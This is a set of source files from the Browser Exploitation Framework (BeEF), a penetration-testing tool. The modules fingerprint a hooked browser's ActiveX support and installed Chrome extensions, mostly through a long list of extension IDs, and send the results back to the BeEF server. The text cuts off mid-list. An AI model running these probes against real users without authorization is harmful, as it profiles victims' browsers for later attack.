Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_activex: enable: true category: "Browser" name: "Detect ActiveX" description: "This module will check if the browser has ActiveX support." authors: ["bcoles"] target: user_notify: ["IE"] not_working: ["All"] ================================================ FILE: modules/browser/detect_activex/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_activex < BeEF::Core::Command def post_execute content = {} content['activex'] = @datastore['activex'] save content activex = @datastore['results'].scan(/^activex=(Yes|No)/).flatten.first return unless activex BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.activex', activex) end end ================================================ FILE: modules/browser/detect_evernote_clipper/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = ""; var s = document.createElement('script'); s.onload = function() { result = "Detected through presense of extension content script."; beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+result); } s.src = 'chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/content/frame.js'; document.body.appendChild(s); var evdiv = document.getElementById('evernoteGlobalTools'); if (typeof(evdiv) != 'undefined' && evdiv != null) { // Evernote Web Clipper must have been active as well, because we can detect one of the iFrames iframeresult = "Detected evernoteGlobalTools iFrame. Looks like the Web Clipper has been used on this page"; beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+iframeresult); } setTimeout(function() { if (result == "") { beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper=Not Detected"); } document.body.removeChild(s); }, 2000); }); ================================================ FILE: modules/browser/detect_evernote_clipper/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_evernote_clipper: enable: true category: "Browser" name: "Detect Evernote Web Clipper" description: "This module checks if the Evernote Web Clipper extension is installed and active." authors: ["xntrik"] target: not_working: ["IE"] working: ["C"] ================================================ FILE: modules/browser/detect_evernote_clipper/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_evernote_clipper < BeEF::Core::Command def post_execute content = {} content['evernote_clipper'] = @datastore['evernote_clipper'] unless @datastore['evernote_clipper'].nil? save content end end ================================================ FILE: modules/browser/detect_extensions/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { chrome_extensions = new Array( new Array("blpcfgokakmgnkcojhhkbfbldkacnbeo","YouTube"), new Array("pjkljhegncpnkpknbcohdijeoejaedia","Gmail"), new Array("coobgpohoikkiipiblmjeljniedjpjpf","Google Search"), new Array("aknpkdffaafgjchaibgeefbgmgeghloj","Angry Birds"), new Array("gighmmpiobklfepjocnamgkkbiglidom","AdBlock"), new Array("cfhdojbkjhnklbpkdaibdccddilifddb","Adblock Plus (Beta)"), new Array("ejjicmeblgpmajnghnpcppodonldlgfn","Google Calendar"), new Array("mihcahmgecmbnbcchbopgniflfhgnkff","Google Mail Checker"), new Array("lneaknkopdijkpnocmklfnjbeapigfbh","Google Maps"), new Array("elioihkkcdgakfbahdoddophfngopipi","FB Photo Zoom"), new Array("mmcegpfdgcoclcdfkjahiimlikdpnina","Plants vs Zombies"), new Array("apdfllckaahabafndbhieahigkjlhalf","Google Docs"), new Array("bfbmjmiodbnnpllbbbfblcplfjjepjdn","Turn Off the Lights"), new Array("ejidjjhkpiempkbhmpbfngldlkglhimk","Offline Google Mail"), new Array("pioclpoplcdbaefihamjohnefbikjilc","Evernote Web Clipper"), new Array("aapbdbdomjkkjkaonfhkkikfgjllcleb","Google Translate"), new Array("oadboiipflhobonjjffjbfekfjcgkhco","Google Chrome to Phone Extension"), new Array("inmnggcpelemfookhlhkdfbechcdadfp","Picnik"), new Array("hehijbfgiekmjfkfjpbkbammjbdenadd","IE Tab"), new Array("hbdpomandigafcibbmofojjchbcdagbl","TweetDeck"), new Array("mmimngoggfoobjdlefbcabngfnmieonb","Google Books"), new Array("mgijmajocgfcbeboacabfgobmjgjcoja","Google Dictionary (by Google)"), new Array("alelhddbbhepgpmgidjdcjakblofbmce","Awesome Screenshot: Capture \\u0026 Annotate"), new Array("lbfehkoinhhcknnbdgnnmjhiladcgbol","Evernote Web"), new Array("ciagpekplgpbepdgggflgmahnjgiaced","Add to Amazon Wish List"), new Array("mmffncokckfccddfenhkhnllmlobdahm","FastestWeb - Browse Faster"), new Array("onlgmecjpnejhfeofkgbfgnmdlipdejb","Picasa"), new Array("fjnbnpbmkenffdnngjfgmeleoegfcffe","Stylish"), new Array("keembkgclppcbilkekfgpobhldjjhpmn","Cargo Bridge"), new Array("adpkifcfcacgmnggcbpbjbkdijciiigm","Bejeweled"), new Array("pgjchkcfmigkkhedgjedmffdepgmpfil","Psykopaint"), new Array("poknhlcknimnnbfcombaooklofipaibk","Canvas Rider"), new Array("mijlebbfndhelmdpmllgcfadlkankhok","Quick Note"), new Array("cgbogdmdefihhljhfeiklfiedefalcde","AddThis - Share \\u0026 Bookmark (new)"), new Array("ckibcdccnfeookdmbahgiakhnjcddpki","Webpage Screenshot"), new Array("loamdenijebhollnjgehcfbnpeelfhlk","The Fancy Pants Adventure: World 2"), new Array("cknghehebaconkajgiobncfleofebcog","Monster Dash"), new Array("lfkgmnnajiljnolcgolmmgnecgldgeld","Smooth Gestures"), new Array("kcnhkahnjcbndmmehfkdnkjomaanaooo","Google Voice (by Google)"), new Array("iajlkcpgcnbhfhpdeooockfaincfkjjj","Isoball 3"), new Array("dgpdioedihjhncjafcpgbbjdpbbkikmi","Speed Dial"), new Array("knkapnclbofjjgicpkfoagdjohlfjhpd","Little Alchemy"), new Array("bmagokdooijbeehmkpknfglimnifench","Firebug Lite for Google Chrome\u2122"), new Array("cgdllcbmneiklcmbeclfegccdjholomb","Bouncy Mouse"), new Array("ajpgkpeckebdhofmmjfgcjjiiejpodla","Xmarks Bookmark Sync"), new Array("hndllphbhpadfpoikpaofkkkpkpnmjik","Troll Emoticons"), new Array("lfbgimoladefibpklnfmkpknadbklade","Webcam Toy"), new Array("agoenciogemlojlhccbcpcfflicgnaak","BIODIGITAL HUMAN"), new Array("pjjhlfkghdhmijklfnahfkpgmhcmfgcm","Google Reader"), new Array("ehcibdjmpjlekgjhepbfmenfppliikcj","Pixlr-o-matic"), new Array("bhmmomiinigofkjcapegjjndpbikblnp","WOT"), new Array("icpgjfneehieebagbmdbhnlpiopdcmna","New Tab Redirect!"), new Array("ihdkejbciahopmbagpnjmmkkdpfpaaak","Weather Window by WeatherBug"), new Array("dlifoiidlkcpdlchhngenehnhcadakpl","Toss it"), new Array("hpakbhbnhkbghdcejiiangcefallmaln","Bubble Shooter"), new Array("dcilimldmomiaihcfkmaldanopfejefg","WGT Golf Challenge"), new Array("kcahibnffhnnjcedflmchmokndkjnhpg","StumbleUpon"), new Array("ejnkaeblpdcamcioiiabclakabcbjmbl","Box - 5 GB Free Storage"), new Array("edfkoljdeffeedleidebkmmamepgbnbl","The Godfather: Five Families"), new Array("hcchbhjknakkndfpdbapmdkhbbgojkno","Air Hockey"), new Array("jgoepmocgafhnchmokaimcmlojpnlkhp","Google +1 Button"), new Array("fkkaebihfmbofclegkcfkkemepfehibg","Full Screen Weather"), new Array("kdmmkfaghgcicheaimnpffeeekheafkb","Autodesk Homestyler"), new Array("nmameahlembdcigphohgiodcgjomcgeo","Facebook Notifications"), new Array("bfegaehidkkcfaikpaijcdahnpikhobf","Gismeteo"), new Array("bkgoccjhfjgjedhkiefaclppgbmoobnk","Audiotool"), new Array("gheikhdfflhlbemfmhcfpeblehemeklp","Planetarium"), new Array("hjhfaknohpjconjoefidanhihokmkice","Marvel Comics"), new Array("fkmopoamfjnmppabeaphohombnjcjgla","Springpad"), new Array("bfbameneiokkgbdmiekhjnmfkcnldhhm","Web Developer"), new Array("gemohgpikgjbgmdfbfjdailocichgbjm","3D Bowling "), new Array("hdokiejnpimakedhajhdlcegeplioahd","LastPass"), new Array("lkpikhjbfbffdblahfidklcohlaeabak","Fieldrunners"), new Array("ghgabhipcejejjmhhchfonmamedcbeod","Click\\u0026Clean"), new Array("jdheeblenjmceeppomdgokgilmkonced","Lord of Ultima"), new Array("beobeededemalmllhkmnkinmfembdimh","TV"), new Array("faminaibgiklngmfpfbhmokfmnglamcm","PanicButton"), new Array("mpedbpkelbhcbkdaglillalioeeekbpb","WGT Golf Game"), new Array("bhoaojooagiaaiidlnfhkkafjpbbnnno","SKiD Racer"), new Array("icppfcnhkcmnfdhfhphakoifcfokfdhg","Google Music"), new Array("amigcgbheognjmfkaieeeadojiibgbdp","TooManyTabs for Chrome"), new Array("khpikpdaalmlcipfphefaajfiofglcma","Gravity Duck"), new Array("oohphhdkahjlioohbalmicpokoefkgid","Bastion"), new Array("nonjdcjchghhkdoolnlbekcfllmednbl","Hover Zoom"), new Array("khgabmflimjjbclkmljlpmgaleanedem","SparkChess"), new Array("dajedkncpodkggklbegccjpmnglmnflm","Search by Image (by Google)"), new Array("hlpiaibleklmjieibbnmkignbggodmmj","Cargo Bridge: Armor Games Edition"), new Array("ifphbghhodpimajnjejgjlfcjmnnkhci","Gun Blood"), new Array("iblenkmcolcdonmlfknbpbgjebabcoae","We Heart It"), new Array("haebnnbpedcbhciplfhjjkbafijpncjl","TinEye Reverse Image Search"), new Array("gdkjifoifglkpcdffkenpinlbjgephlo","Digital Clock"), new Array("ciamkmigckbgfajcieiflmkedohjjohh","Gun Bros"), new Array("jkcieoaeooeidmpaopkpjpjfakidlabm","Typing Test - KeyHero"), new Array("dcjeclnkejmbepoibfnamioojinoopln","AutoCAD WS"), new Array("apfkepiiddolifkgjmfdgpnipgnfejab","BeFunky Photo Editor"), new Array("decdfngdidijkdjgbknlnepdljfaepji","Read Later Fast"), new Array("apboafhkiegglekeafbckfjldecefkhn","LucidChart - Collaborative Diagramming"), new Array("ecmphppfkcfflgglcokcbdkofpfegoel","NYTimes"), new Array("jfppgkomfopklagggkjiaddgndkgopgl","Google Translate for Google+"), new Array("imcbnnnoghiihopefblgehihofbfbmei","Desprotetor de Links"), new Array("hgbpjlnkjhllfgfdmieompodgaefjcfh","Flixster"), new Array("pjpokfkdchapbkfpkmeiebmlfafbljla","3D Tennis"), new Array("bcjbagclppcgdbpobcpoojdjdmcjhpid","Missing e"), new Array("dcbegflbljflchoahmigblmabofoinkh","Counter Strike ( Flash Version )"), new Array("boemmnepglcoinjcdlfcpcbmhiecichi","Google+ Notifications"), new Array("iooicodkiihhpojmmeghjclgihfjdjhj","Clearly"), new Array("iflpcokdamgefbghpdipcibmhlkdopop","The Weather Channel for Chrome"), new Array("jlehaidnnmjjkhgbbiombcdifogolhap","Skyrama"), new Array("neojceinbonpjjcokpokpeobkhcpiloc","Mahjong Solitaire"), new Array("nhalnajmigjnpjpdbpkpgfhekbjmolhp","Curling"), new Array("agljkoinmcdnopnlbhhjibjiablccgoh","Radio"), new Array("pjejbgheonogbpfkkjigbmahaljipoej","Weather Underground"), new Array("alcobafdkcddhiabfgnongafffchimnl","Word Search Puzzle"), new Array("bhgepjadamfimjcgoiocemneabhaenai","Jumpless"), new Array("dafkakmjmhfnnfclmjdfpnbmdeddkoeo","Aviary Image Editor"), new Array("cedbddnnmhgnedpamoenmdkhnpnfbpjb","Pool"), new Array("ejpepffjfmamnambagiibghpglaidiec","Facebook Disconnect"), new Array("bmbnpkmmbmniajjhocmmgblekhhmffge","Stunt Dirt Bike"), new Array("lkllajgbhondgjjnhmmgbjndmogapinp","Sketchpad"), new Array("dglbaehakkaojfihjkgkpknbjldhhmmn","Dead Frontier"), new Array("fnfnbeppfinmnjnjhedifcfllpcfgeea","IE Tab Multi (Enhance)"), new Array("ijhlikjoigjegofbedmfmlcfkmhabldh","ESPN Cricinfo"), new Array("lcdhpokmalcfjnfkjlfncgekebcojinn","Steambirds: Survival"), new Array("aidgmjkfmbhldhnhkopojimkhhhcpenl","Beat the Boot (by Google)"), new Array("akpelnjfckgfiplcikojhomllgombffc","Theme Creator"), new Array("hfpeacgpdnhofhebmincihdelcemhagd","Creatures \\u0026 Castles"), new Array("jpnjjlbngpejmmhgcaagljaomgnginml","IP Address"), new Array("lambangeielkjcnmioccboaphdfcffib","TV for Google Chrome\u2122"), new Array("clkfdgnfefjmciocbhnffnbpkjpdleca","FARMERAMA"), new Array("ppelffpjgkifjfgnbaaldcehkpajlmbc","iReader"), new Array("kbgdenhobifcbckaiohandoodkepleif","Green Farm"), new Array("liglcienpnkhdajdfmnpbgmpjglonipe","Numerics Calculator \\u0026 Converter"), new Array("omlmnomieeknagejjojcpdomnbnbchdl","Sinuous"), new Array("manlnjcghdempjdpndlcmaaobbighhcf","Dragons of Atlantis"), new Array("neimpplmbdhflkfojgmplkgflkgmodpd","Nyan Cat"), new Array("dllkocilcinkggkchnjgegijklcililc","Google News"), new Array("namljbfbglehfnlonjmebceimaalofei","deviantART muro"), new Array("keigpnkjljkelclbjbekcfnaomfodamj","Shopping Assistant"), new Array("mmgagnmbebdebebbcleklifnobamjonh","AutoPager Chrome"), new Array("mohjjmefnkbafiajlccpfglfpdfdemmj","Poppit Stress Buster"), new Array("fcgckldmmjdbpdejkclmfnnnehhocbfp","Google Finance"), new Array("gcmhlmapohffdglflokbgknlknnmogbb","The QR Code Generator"), new Array("hkpcelemhneoooapbbopolpjhmbfmnbf","NPR for Chrome"), new Array("bpllmoilcakpgbeodibeifcfnndoheam","Facebook Colour Changer"), new Array("mlomiejdfkolichcflejclcbmpeaniij","Ghostery"), new Array("cohkjfondhjjfehnehlpmjpljpihfhfc","Street Racers"), new Array("ddeoimiimmmfddbiggnbipkjomlalanb","Fun Switcher"), new Array("gemgfpodpjapjhfohdlibagceiknakpa","Chain Reaction"), new Array("ggnidjbcahhbnleinchgobfnabopeioh","Stopwatch"), new Array("icdipabjmbhpdkjaihfjoikhjjeneebd","Cloud Reader"), new Array("omeengfjefdmhnkojnfmncpfdbhnecea","SlideRocket"), new Array("ihffmkcfkejomlfnilnmkokcpgclhfeg","Forecastfox"), new Array("femoooemgmjaebeodbbikbkmhlafenpl","Causality Games"), new Array("dhjfmaldpppkmjjgkmadddbanpabfflp","Realm of the Mad God"), new Array("alnfdikmbdfgkcbdodjcbmedanjinmkk","Beatlab"), new Array("nfakdllpdfjjbfommlcnfkedmbigkfdo","Jolicloud"), new Array("lpibnckjjeaabeepofhfmmpjmnomohee","Word\u00b2"), new Array("ajfdmocmkakkkbgcoifcenchgkokpecl","Mr. Bounce"), new Array("blpebaehgfgkcmmjjknibibbjacnplim","Solitaire"), new Array("hanjiajgnonaobdlklncdjdmpbomlhoa","MusicSig vkontakte"), new Array("fafdknjemckbfdklihiolhgkibiedige","Aviary Music Creator"), new Array("gdalhedleemkkdjddjgfjmcnbpejpapp","Facebook for Chrome"), new Array("ocaebkdojpikfmhmnekiflipcicedobi","imo instant messenger"), new Array("nckgahadagoaajjgafhacjanaoiihapd","Google Talk"), new Array("hihakjfhbmlmjdnnhegiciffjplmdhin","Rapportive"), new Array("hipbfijinpcgfogaopmgehiegacbhmob","feedly"), new Array("lghjfnfolmcikomdjmoiemllfnlmmoko","InvisibleHand"), new Array("jnamdlacgipmoldlhfgjficjiclhgibm","Lady Popular"), new Array("pcflmbddgcmomcfngehfhlajjapabojh","Cacoo - Diagramming \\u0026 Real-Time Collaboration"), new Array("ndfpieflbjbdpgklkeolbmbdkfdiicfk","BeGone"), new Array("nkhkaamdeplibnmodcgodlkghphdbahk","Graph.tk"), new Array("kneloppijbcidgidihgdjnooihjcdbij","HootSuite"), new Array("jpfpebmajhhopeonhlcgidhclcccjcik","Speed Dial 2"), new Array("obhefmbclkekanpjjpkbciloojcmpkap","Todo.ly"), new Array("jnkffnoliaheoidfeejcmnidkkgilkja","BBC Good Food"), new Array("ncfiimlbhgllinjmkfjpikokpedpdbae","Jailbreak Rush"), new Array("cknebhggccemgcnbidipinkifmmegdel","Alexa Traffic Rank"), new Array("bddhcbcefccaggaloclldffhobmecjfj","Private Joe - Dungeons"), new Array("hjjofhgnhekhkccpcnnloagmdpafifeo","TiltShiftMaker"), new Array("beapnbfmjmjhhfpaoajfhjbbfnnlfpnc","Weather (extension)"), new Array("hoohaidjoleeifhoeiipjofgjhkmhppk","Metal Slug 3"), new Array("hcjdanpjacpeeppdjkppebobilhaglfo","SearchPreview"), new Array("ibfamoapbmmmlknoopmmfofgladlinic","Crackle"), new Array("oangcciaeihlfmhppegpdceadpfaoclj","SEO for Chrome"), new Array("noohoboklgjeccnihfkbdakbchbhjlch","GIFPAL"), new Array("jeclmehkhpookgkhkecnaanahhoglakj"," LineBall"), new Array("gcdgomceilgkonhjheaijcmgfhabmpio","Torrent Turbo Search"), new Array("dhgpkiiipkgmckicafkhcihkcldbdeej","Lookup Companion for Wikipedia"), new Array("pdnkcidphdcakpkheohlhocaicfamjie","Bitdefender QuickScan"), new Array("jdhpjomiingppeefgnohkiapmnaeakoj","World Time Buddy"), new Array("kkgkognjknhcgbgbeijjondlikfkgnog","Grepolis"), new Array("glijjfcpolilajfhpfjgohbbogficana","To Trap"), new Array("iehdddmijbgofffjjmhkodckmnombhmf","Layers - Facebook, Twitter, RSS"), new Array("ekkomjfglgnfeeachhdckcbgjhfiahco","Tennis"), new Array("fkdmcfnoimoilncpjchamnenebopocem","Stupeflix Video Maker"), new Array("dkdmbkpfnfkhalmhebdelpldipheihng","Guitar Pro Viewer"), new Array("nnancliccjabjjmipbpjkfbijifaainp","Neat Bookmarks"), new Array("ajebcmdcgoggdncokkbdifohckmfpgnb","Gojee"), new Array("dinfmiceliiomokeofbocegmacmagjhe","Daum Equation Editor"), new Array("nbbmhkhnoadhdceaokdofknafciecdea","Baseball (Deluxe)"), new Array("odklcfojpedohplkimfdpcamkjnhanaj","Picky Wallpapers"), new Array("ajiijeebjcmkhdplmollbjpljcnelfhn","Aviary Audio Editor"), new Array("ekpfaaakmnhcembbiennfjiaodandmhg","Hangman"), new Array("mjocghlclkpgheifflemilcnblodjohg","Clock"), new Array("oojbgadfejifecebmdnhhkbhdjaphole","Diigo: Bookmark, Archive, Highlight \\u0026 Sticky-Note"), new Array("fngmhnnpilhplaeedifhccceomclgfbg","Edit This Cookie"), new Array("jeoacafpbcihiomhlakheieifhpjdfeo","Disconnect"), new Array("aeaoofnhgocdbnbeljkmbjdmhbcokfdb","Mouse Stroke"), new Array("chmachfiimeggafocgeldapnchdnoiib","Striker Manager"), new Array("feegnpclfpgemhfmgfobelglidonaopc","JDoodle Jump"), new Array("hmdcmlfkchdmnmnmheododdhjedfccka","Eye Dropper"), new Array("mbbibdblnnlapclckbdennhlbcnkkgcn","Harmony"), new Array("oiodjcfboomhnbbmoimodpahebopdagm","TV"), new Array("abbdnfclkomohljcfokofigmagkpelkg","Fish Tales"), new Array("bhmmncmephfckdpcmohbdpcnkmchejma","9 Ball Pool"), new Array("bljldflafhmbedhjnlncilbhfcnfabgb","Isle of Tune"), new Array("jhbejhnopmdbkkodiffaopllalmialfe","Drivers Parking"), new Array("mhpdbcnfpodnaefldpdohoibdajcfabp","Pocket Legends"), new Array("acgimceffoceigocablmjdpebeodphgc","Cloudy Calculator"), new Array("laankejkbhbdhmipfmgcngdelahlfoji","StayFocusd"), new Array("mpegcjgnjllooimlcfdnphhccfnmhfem","Crusader Tank"), new Array("bjilkkfelgjefpjbjfnfdhmmoglpbhli","Pulsate"), new Array("enadeelnincmhhilgbiphjbjnnagnhmh","\u00bfQu\u00e9 cocino hoy?"), new Array("degpihaammlmlmgcddhlnfebfcjlbjnk","Superinteressante"), new Array("obdbgibnhfcjmmpfijkpcihjieedpfah","TypingClub"), new Array("cnocophcbjfiimmnhlhleaooedeheifb","Weebly - Website Builder"), new Array("kjebfhglflhjjjiceimfkgicifkhjlnm","Scratchpad"), new Array("meklndaflopgghbomkdpofehonfclipi","Contract Killer"), new Array("abjcfabbhafbcdfjoecdgepllmpfceif","Magic Actions for YouTube\u2122"), new Array("ncdfeghkpohnalmpblddmnppfooljekh","Incredible StartPage - Productive Start Page for Chrome!"), new Array("mkcpeekapbmklcidenkpbjcpcicmjmnf","ButtonBeats Guitar"), new Array("lkgfemnodkdnenmfkblebnkjpckkjcae","AudioSauna"), new Array("mhgffcfekbglhpcdjkhhjekhdnddkflg","Mint"), new Array("licccgnfdlgmmmgaddmbcepikfadcmpe","TV for Google Chrome\u2122"), new Array("bldnejoajcpmegfmelnfikdlnnpclaoi","Frat Boy Beer Pong"), new Array("bkiinhllammkfejicmjmhnanlbifccfj","Dragon Age Legends: Remix 01"), new Array("algoakekcdmbbikdjgjdahbfihboglmi","3DTin"), new Array("fkhlplfgnlmpppihiigcpbgehohljaam","Ultimate Street Car Racer"), new Array("fedokkaolmkkoeedicihicdeppjjeamj","Type Scout"), new Array("idfnpgjblkahngbondojabhffkkdekbd","Print"), new Array("nccjoeeljedbmkidebclpoabijggpbdp","Download"), new Array("mkdbaehcjcomcnnjhlmnfddpgoafpcko","ProxTube"), new Array("hngaklbjlbjhmoilkegninbmpfigheol","Dictionary Instant"), new Array("epbmnbdplhcomkedpjfceakddnbgfjmf","Skip ads on YouTube - No illegal block"), new Array("nedjejdfkkjgebciefdfofjhmeogiaga","Favorite Doodle"), new Array("mccldfhipgghpkkamlldhiajioepaklb","Large Document"), new Array("dgjbkahdllcckjbjijejpmcgkkjpnnfk","Cordy"), new Array("ejkjpdnomgodmagfmhojepjlajpoicip","White Noise"), new Array("aeifanonhefcaphaeeknpklkfnjjmpec","Learn French - Tr\u00e8s Bien"), new Array("oafdgpdaojfjhcolidaakebmnbibdbpb","9-Ball Pool"), new Array("jjkhefodfbgjpcmahghmfggbcpjabnag","Blackball Pool"), new Array("ifnckhopllcmleegegheacblhehfifei","OrangeFPS on Roozz"), new Array("fapbbpdnlcmiolkdfjnnjhabmcndadad","Weather"), new Array("jlahmeejnbkdnjnckboeglpfmjbfmopp","Instant Retro"), new Array("kipdhcpepbpjaoggihaloebfjfafagmi","Alarm Clock Radio"), new Array("dfdlnlenokgjjchimonbekcmnofmlibg","20 Things I Learned About Browsers \\u0026 the Web"), new Array("mgkjffcdjblaipglnmhanakilfbniihj","Earbits Radio"), new Array("fjliknjliaohjgjajlgolhijphojjdkc","Wunderlist"), new Array("bhljoejlbnebcpflalenbmpnanjbikof","8 Ball Pool"), new Array("aaephdgbinagkeepamlbkhkfbiaedabm","QR Creator"), new Array("mhkicdgidnfmdfnhhllffoplpaldkljl","Zombie Pandemic"), new Array("igfellpkdddmaldkbohekiikcmadbdnj","DarkOrbit"), new Array("dpgjihldbpodlmnjolekemlfbcajnmod","Sumo Paint"), new Array("dbeoemfhkdniadbojeencpkgmobndpai","Email this page (by Google)"), new Array("hdpadclmjnppejbenfgklgaganbefgad","Climatempo"), new Array("mibbfkdeofpfmkclkgjfnjppdblhpddj","DSL speedtest"), new Array("icegcmhgphfkgglbljbkdegiaaihifce","Cool Clock"), new Array("dpplabbmogkhghncfbfdeeokoefdjegm","Proxy SwitchySharp"), new Array("pcfmpdiaehhnljpdomnggcbfofdgkmbp","Edgeworld"), new Array("chdiaibgndcpagmnpkjoelgfkommjbni","Remember The Milk"), new Array("edebbhkhcaafmolanelponjjanocpacd","Timer"), new Array("jfkogbicoohcjbjlppcaeiggjomjkkem","Twitter"), new Array("chcaflnbhnoegjedbjaamecefhglfamc","Star Legends"), new Array("ncceffnkmmhggjnfdbkgmihjdmgccfmo","Flight"), new Array("hgecghmkcdefnknohcimkoemhaofpoha","PDF Mergy"), new Array("hjkdhkejcnlmkfdodbkdkelefnkobfif","Vimeo Couch Mode"), new Array("capanopkcpoomknfiopjknnacehffjdh","Guinness World Records - Record Player"), new Array("ninejjcohidippngpapiilnmkgllmakh","YSlow"), new Array("jhfhmaajajcjoijfaceafiembkmhcddc","MeeGenius! Children's Books"), new Array("fdcenekolminfbkcbchinlcgfhpmggpk","Mixcloud"), new Array("oglbipcbkmlknhfhabolnniekmlhfoek","Lyrics for Google Chrome\u2122"), new Array("ipkfnchcgalnafehpglfbommidgmalan","Send to Kindle"), new Array("jokdeafnhahffanabnbjjjjmoechjklc","KIDO'Z TV"), new Array("ifbnllnaaaohekjkcpfdllhhjijnidgn","World of Solitaire"), new Array("npoipmeppdioagbkigdlnpmjphnolaog","Scientific Calculator"), new Array("ladlgddeghalkmimaamlhbfaglfcdiep","Rango: The WORLD"), new Array("dlppkpafhbajpcmmoheippocdidnckmm","Google+"), new Array("nolijncfnkgaikbjbdaogikpmpbdcdef","Personal Blocklist (by Google)"), new Array("mfidmkgnfgnkihnjeklbekckimkipmoe","FlashControl"), new Array("ppgpcdgnfladncmdahjkgoonelcpkfml","Drag Toilet Paper"), new Array("hidcjhphimkfnacedjcnajpmlaegnddp","Flood-It!"), new Array("fanogbnclpilemkifpjeglokomebpnef","YoWindow Weather"), new Array("dnjkggjhcbohgnikmegjkodmakmimlkj","Word Search"), new Array("dnalbhgkcocoepphagnnlaiomnnngeln","Bomomo"), new Array("nacankmfmpcdncjfbnmmogbakklibnol","Gamers Unite! 1-Click Gifts"), new Array("nmpppefjehmjbiplimkfjeamnohldmko","365Scores Notifier"), new Array("kdkgihpbaofhkiliohfepioflkkbapao","Calculator"), new Array("dfhleemkcbiadffhciifgholbodejnjb","Aviary Effects Editor"), new Array("algjnflpgoopkdijmkalfcifomdhmcbe","reddit companion"), new Array("gndkeamlgkegbmmoheplcndpopglacgf","Coloris - Color \\u0026 Draw for Kids"), new Array("eafhgomkapdagnpmmgilphbolnejepoc","Crazy Rollercoaster"), new Array("pmkffmgahaepmhkhkblhopnpleeikokc","Connected Mind"), new Array("lnhpjhojpnckkehlebbkpoammaemnnno","Aviary Feather"), new Array("igiofjhpmpihnifddepnpngfjhkfenbp","AutoPagerize"), new Array("eegpopcingfghbompjfejakfeaolmbop","Mahjongg"), new Array("bnadbgmffcofipfljniafanjcafjlbom","eBay Web App"), new Array("neckeibmjhibmgoigmffjlihekefmffd","Diet Diary"), new Array("imjhdahelgojehmfmkmdfjcpfbglbfmj","60 Minutes"), new Array("ickaeddjnhfofihhibhnjemlphjmnchl","wikiHow Survival Kit"), new Array("bhdheahnajobgndecdbggfmcojekgdko","Graphing Calculator by Desmos.com"), new Array("kbibnpngalhkciomakdamhofmglhainj","Air Hockey Pro"), new Array("bdjlkdkcjdcfbghpcimekbpidldobnhg","Soccer Shoot Out"), new Array("edonejldekhljklclipjpdjdgmaimnbg","Monster Trucks Nitro 2"), new Array("pddaeeclcbikcegjhhgocgkakehngcem","Thesaurus"), new Array("njoglkofocgopmdfjnbifnicbickbola","+Photo Zoom"), new Array("ignfpjbikbaamkhplcbcocphokmcgjcg","Christmas Snow Line"), new Array("edacconmaakjimmfgnblocblbcdcpbko","Session Buddy"), new Array("cdgghbbgmhcpidlmnepkbihehhkmjomc","Ge.tt"), new Array("pmjlnfgnkpknjgkpohcgoeiakkbofpjo","Astrid Tasks"), new Array("pneoplpmnpjoioldpodoljacigkahohc","PageRank"), new Array("odhjkapjdlmmadkepnmlkpadnnnnoebm","Reversi"), new Array("hfhfehlnocjpbnbcabcjjnemkkkghaak","The Elementals"), new Array("imokeandodnlammaoenbgcnbhigjbpjh","iPiccy Photo Editor"), new Array("bdokagampppgbnjfdlkfpphniapiiifn","YouTube Options for Google Chrome\u2122"), new Array("khjnjifipfkgglficmipimgjpbmlbemd","WordPress.com"), new Array("okboeogmnhjpgbeaokfogelclpblaemo","Type Fu"), new Array("jommidhbgbbbbjddhmajdmeajfleineg","Nano Ninja"), new Array("mdaaepplopehigjgkolniddiadbbkphd","3D Solar System Web"), new Array("okflagoeojoippcanifjmfmiahbgjngh","Penguin Slice"), new Array("mhhmjkhhgbcpimhiminpffolkbmfmedh","Super Rush"), new Array("jigedhfmfokfponjbdljpmdjlabjklji","Midas Mahjong"), new Array("dcmgcfmfemlhoncahhnmhinceggddcnp","The Rise of Atlantis"), new Array("fjagcpcbacoaogfljhglghpjhkmmfeeo","Virtual Piano Black"), new Array("pjlncddmdljpioccbmempchonhlifakc","Wolf Toss"), new Array("chklaanhfefbnpoihckbnefhakgolnmc","JSONView"), new Array("jgljcanfdcmdnncaneopdlcgjlkgpenj","MOG Music"), new Array("oioeohebbahbomemnpdmnicoghkepidd","Kid Mode for Chrome"), new Array("mblbciejcodpealifnhfjbdlkedplodp","Clickable Links"), new Array("flogpfmjdekjoilcnmmchanikomlidie","DropBox"), new Array("jehemifhdilebjjpibeianiedocpgocn","Lose It!"), new Array("ndhinffkekpekljifjkkkkkhopnjodja","feedly xt"), new Array("pabppflkalbniedjechdomdnofnogcfh","Bug Village"), new Array("pdpbdnchfplfpdjbckgbmpnddnjdijjk","PhotoFit Me"), new Array("nkdaebmimnhlmgpjoppmdeokffoahpan","Evolved Online Games"), new Array("acoonfmhnndodekhecidldfdjgooefpg","Prezi"), new Array("pbcgnkmbeodkmiijjfnliicelkjfcldg","WiseStamp - Email Signatures for GMail, Google Apps and more"), new Array("idhfcdbheobinplaamokffboaccidbal","Resolution Test"), new Array("eoippgliebkkmjhjlgealjghjcknfdae","Sports Scoreboard"), new Array("pmcdjmebmeoobmdghjbjhbifoocbcmaj","Learn Spanish - Qu\u00e9 Onda Spanish"), new Array("ihklobncbkangkiiamccfgnlihbmjhlh","Cycling the 